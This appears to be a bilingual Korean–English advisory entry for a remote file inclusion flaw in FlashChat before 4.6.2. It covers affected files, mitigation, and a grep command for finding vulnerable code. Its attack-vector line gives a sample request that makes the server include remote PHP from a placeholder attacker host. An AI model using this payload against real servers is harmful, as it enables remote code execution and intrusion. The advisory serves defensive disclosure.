🇰🇷 한글 설명
FlashChat 4.6.2 이전 버전에서 dir[inc] 파라미터를 통한 PHP 원격 파일 포함(RFI) 취약점이 존재합니다. 원격 공격자가 악의적인 PHP 파일의 URL을 주입하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다. 영향받는 파일은 aedatingCMS.php, aedatingCMS2.php, aedating4CMS.php입니다.
💡 쉬운 설명
FlashChat 프로그램이 사용자 입력을 검증하지 않아 공격자가 악의적인 파일 경로를 삽입해 서버에서 코드를 실행할 수 있습니다. 마치 잠금이 없는 문으로 집에 들어가는 것처럼, 공격자가 직접 서버를 제어할 수 있다는 뜻입니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in FlashChat before 4.6.2 allow remote attackers to execute arbitrary PHP code via a URL in the dir[inc] parameter in (1) inc/cmses/aedatingCMS.php, (2) inc/cmses/aedatingCMS2.php, or (3) inc/cmses/aedating4CMS.php.
📍 영향받는 시스템
FlashChat version < 4.6.2 (aedatingCMS 플러그인 설치 시스템)
⚔️ 공격 벡터
http://target.com/inc/cmses/aedatingCMS.php?dir[inc]=http://attacker.com/malicious.php%00 형태로 원격 파일 포함 강제
🛡️ 대응 방법
FlashChat를 4.6.2 이상으로 업그레이드하거나 dir[inc] 파라미터에 입력값 검증/필터링 추가 (외부 URL 차단, 절대 경로만 허용)
🔧 검증 코드
명령어가 결과를 반환하면 취약한 코드가 존재합니다. 반환값이 없으면 이미 패치되었거나 시스템에 설치되지 않은 것입니다.
grep -r 'include.*dir\[inc\]' /path/to/flashchat/inc/cmses/ 2>/dev/null | head -1